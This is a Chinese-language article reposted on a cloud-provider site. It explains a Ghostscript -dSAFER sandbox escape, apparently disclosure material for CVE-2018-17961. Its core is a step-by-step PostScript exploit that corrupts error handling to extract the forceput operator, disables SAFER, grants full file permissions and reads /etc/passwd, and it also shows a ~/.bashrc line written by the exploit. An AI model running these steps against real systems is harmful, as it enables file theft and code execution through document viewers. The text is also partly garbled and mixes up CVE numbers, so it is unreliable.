溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

基于漏洞CVE-2018-17961的dSAFER沙盒逃逸技術是怎樣的

發布時間:2021-12-22 23:37:42 來源:億速云 閱讀:162 作者:柒染 欄目:安全技術

這篇文章將為大家詳細講解有關基于漏洞CVE-2018-17961的dSAFER沙盒逃逸技術是怎樣的,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

前言

今天給大家分析的是一種新型的ghostscript-dSAFER沙盒逃逸技術,目前這項技術仍然適用于當前正在使用的所有ghostscript版本。我不知道這個漏洞存在多久了,反正我是覺得已經很久了…

下面提供的漏洞利用代碼可以在最新的幾個版本中正常運行,如果你想在evince、imagemagick、gimp或okular中查看代碼的話,你還需要在~/.bashrc那里添加一行。因為nautilus將在沒有任何用戶交互的情況下自動調用evice-thumbnailer。如果你想觸發這個漏洞的話,你只需要在運行了漏洞利用代碼之后隨便瀏覽一個網站就可以了。

taviso@ubuntu:~$convert exploit.jpg output.jpgtaviso@ubuntu:~$tail -1 ~/.bashrcechopwned by postscript

背景內容

Postscript的一個核心訪問控制功能就是它能夠標記可執行代碼的運行過程,這樣可以防止用戶窺視系統程序的執行,并獲取更強大的訪問操作權限。為此,我專門設計了一個完整的漏洞利用代碼,感興趣的同學可以自行下載測試【下載地址】。

當你在errordict中安裝了錯誤處理器之后,如果你終止了一個正在執行的操作進程,這樣便會將錯誤操作符暴露給錯誤處理器。此時,,rrorerdict便會忽略-dSAFER沙箱,這也就是本文所利用的漏洞CVE-2018-17183。

漏洞利用細節

需要注意的是,這個漏洞目前還沒有被完全修復,因為你現在仍然可以調用錯誤處理器,并觸發錯誤,或者訪問內部狀態所保存的錯誤處理器。

其中一種漏洞利用方法為,找到能夠終止運行的執行進程,觸發一次異常,然后調用錯誤處理器并終止它的運行(可以通過/stackoverflow或/execoverflow來實現)。當出現故障時,操作碼堆棧將會處于一種不一致的狀態,因為ghostscript會嘗試設置錯誤處理器,但這種設置是無效的。

漏洞利用方式

首先,用垃圾數據填充堆棧,只給錯誤處理器留下一小部分空間:

GS>01 300368 {} for

然后通過修改pdfopdict(改為非字典形式)來讓/switch_to_normal_marking_ops發生錯誤:

GS<300369>/pdfopdict null def

調用/switch_to_normal_marking_ops(當前正在執行狀態中):

GS<300369>GS_PDF_ProcSet/switch_to_normal_marking_ops get stopped

操作會失敗,因為/typecheck正在寫入pdfopdict:

GS<2>==True

查看已保存堆棧中的最后幾個元素:

GS<1>dupdup length 10 sub 10 getinterval ==[300364300365 300366 300367 300368 null /m {normal_m} --.forceput-- /typecheck]

大家可以看到,錯誤的操作符已經準備傳遞給錯誤處理器了。

其中,forceput是一個非常強大的操作符,它可以忽略所有的訪問控制,我們可以把它從堆棧中提取出來,然后用它來做我們想做的事情:

systemdict/SAFER false forceputsystemdict/userparams get /PermitFileControl [(*)] forceputsystemdict/userparams get /PermitFileWriting [(*)] forceputsystemdict/userparams get /PermitFileReading [(*)] forceput

結合之前所介紹的內容,我們看一看如何去讀取/etc/passwd中的數據,下面給出的是一份DEMO:

$ gs-dSAFER -f test.psGPLGhostscript GIT PRERELEASE 9.26 (2018-09-13)Copyright(C) 2018 Artifex Software, Inc.  Allrights reserved.Thissoftware comes with NO WARRANTY: see the file PUBLIC for details.(root:x:0:0:root:/root:/bin/bash)

關于基于漏洞CVE-2018-17961的dSAFER沙盒逃逸技術是怎樣的就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女